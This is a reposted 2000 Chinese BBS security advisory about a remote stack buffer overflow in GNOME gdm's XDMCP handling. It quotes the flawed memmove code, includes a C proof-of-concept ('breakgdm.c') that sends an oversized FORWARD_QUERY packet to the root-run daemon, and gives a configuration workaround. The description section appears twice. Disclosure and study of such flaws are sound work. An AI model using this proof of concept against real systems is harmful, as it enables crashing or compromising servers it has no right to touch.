荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (???????????????????????????????????????), 信区: Hacker
标  题: [转载] GNOME gdm XDMCP远程缓冲区溢出漏洞
发信站: BBS 荔园晨风站 (Sun May 28 23:02:21 2000), 转信

【 以下文字转载自 bstone 的信箱 】
【 原文由 bstone 所发表 】
发布日期: 2000-5-24

更新日期: 2000-5-24
受影响的系统:  Martin K. Peterson gdm(1.0.x/2.0.x) XDMCP处于监听状态的
Unix系统
不受影响系统:  - RedHat 6.0 - 6.2
- SuSE
- TurboLinux 6.x
- Helix GNOME
描述:
------------------------------------------------------------------------
--------

gdm是一个用来替代xdm的X 显示管理程序。gdm 是GNOME软件包的一部分。在gdm
的XDMCP处理部分的代码中存在一个溢出问题。如果gdm被配置成在177 UDP端口与

XDMCP协议通信,当溢出发生时,gdm正以root身份运行,远程攻击者不需要任何
用户名和口令就可以发动攻击,有可能获取系统的控制权限。

有问题的代码在/daemon/xdmcp.c中的gdm_xdmcp_handle_forward_query()函数:


...
struct in_addr ia;
...
    memmove (&ia.s_addr, clnt_addr.data, clnt_addr.length);

// clnt_addr.{data,length} 都是客户端传送过来的数据

因此,这是一个典型的堆栈溢出。

<* 来源:Chris Evans <chris@FERRET.LMH.OX.AC.UK> *>


测试程序:
------------------------------------------------------------------------
--------

发布日期: 2000-5-24

更新日期: 2000-5-24
受影响的系统:  Martin K. Peterson gdm(1.0.x/2.0.x) XDMCP处于监听状态的
Unix系统
不受影响系统:  - RedHat 6.0 - 6.2
- SuSE
- TurboLinux 6.x
- Helix GNOME
描述:
------------------------------------------------------------------------
--------

gdm是一个用来替代xdm的X 显示管理程序。gdm 是GNOME软件包的一部分。在gdm
的XDMCP处理部分的代码中存在一个溢出问题。如果gdm被配置成在177 UDP端口与

XDMCP协议通信,当溢出发生时,gdm正以root身份运行,远程攻击者不需要任何
用户名和口令就可以发动攻击,有可能获取系统的控制权限。

有问题的代码在/daemon/xdmcp.c中的gdm_xdmcp_handle_forward_query()函数:


...
struct in_addr ia;
...
    memmove (&ia.s_addr, clnt_addr.data, clnt_addr.length);

// clnt_addr.{data,length} 都是客户端传送过来的数据

因此,这是一个典型的堆栈溢出。

<* 来源:Chris Evans <chris@FERRET.LMH.OX.AC.UK> *>


测试程序:
------------------------------------------------------------------------
--------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/*
* breakgdm.c - Chris Evans
*/

#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

int
main(int argc, const char* argv[])
{
  char deathbuf[1000];
  unsigned short s;
  unsigned char c;

  memset(deathbuf, 'A', sizeof(deathbuf));
/* Write the Xdmcp header */
  /* Version */
  s = htons(1);
  write(1, &s, 2);
  /* Opcode: FORWARD_QUERY */
  s = htons(4);
  write(1, &s, 2);
  /* Length */
  s = htons(1 + 2 + 1000 + 2);
  write(1, &s, 2);

  /* Now we're into FORWARD_QUERY which consists of
   * remote display, remote port, auth info. Remote display is binary
   * IP address data....
   */
  /* Remote display: 1000 A's which incidentally smoke a path
   * right to the stack
   */
  s = htons(sizeof(deathbuf));
  write(1, &s, 2);
  write(1, deathbuf, sizeof(deathbuf));
  /* Display port.. empty data will do */
  s = htons(0);
  write(1, &s, 2);
  /* Auth list.. empty data will do */
  c = 0;
  write(1, &c, 1);
}
--
 Welcome to http://192.168.28.98

建议:

临时解决办法:
修改/etc/X11/gdm/gdm.conf,将[xdmcp] 中的"Enable=1"
改为"Enable=0"



绿色兵团翻译整理,未经许可,不得转载
欢迎访问我们的站点http://www.isbase.com/
绿色兵团给您安全的保障

※ 来源:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.28.106]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.28.98]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店